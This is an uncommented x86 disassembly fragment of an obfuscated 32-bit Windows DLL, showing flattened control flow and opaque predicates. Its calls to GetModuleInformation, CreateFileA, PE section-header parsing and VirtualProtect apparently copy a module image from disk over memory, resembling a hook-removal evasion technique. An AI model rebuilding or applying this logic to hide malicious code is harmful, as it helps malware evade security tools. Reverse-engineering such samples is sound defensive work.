mov dword [ebp - 0x14], eax
mov dword [ebp - 0xa4], 0x46d748dc
jmp 0x10002bd6
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa4], 0xd285e83c
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5705bda
mov ecx, 0x350cb210
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
sub edx, 0x9a2d6f26
sub edx, 1
add edx, 0x9a2d6f26
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5705bda
mov ecx, 0x86e322ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x8880d0be
jmp 0x10002bd6
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c3b0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xa4], 0x475001f8
jmp 0x10002bd6
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xa4], 0xeb59efb0
jmp 0x10002bd6
mov eax, dword [ebp - 0x58]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xa4], 0x24bd9eb1
jmp 0x10002bd6
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xa4], 0x2b910624
jmp 0x10002bd6
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa4], 0xb46df0d7
jmp 0x10002bd6
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xb8dbf166
add ecx, eax
sub ecx, 0xb8dbf166
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
mov word [eax], 0
mov dword [ebp - 0xa4], 0xdc439f82
jmp 0x10002bd6
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa4], 0xaa383ed0
jmp 0x10002bd6
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add ecx, 0xdb3ce3be
add ecx, eax
sub ecx, 0xdb3ce3be
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1000d110
add esp, 0xc
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x8c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x68]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x64]
mov byte [eax], cl
mov dword [ebp - 0xa4], 0x21ff7e8b
jmp 0x10002bd6
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xa4], 0xb67a397e
jmp 0x10002bd6
mov eax, dword [ebp - 0x70]
mov cx, word [ebp - 0x16]
mov word [eax], cx
mov dword [ebp - 0xa4], 0x443714dc
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x350cb210
jmp 0x10001388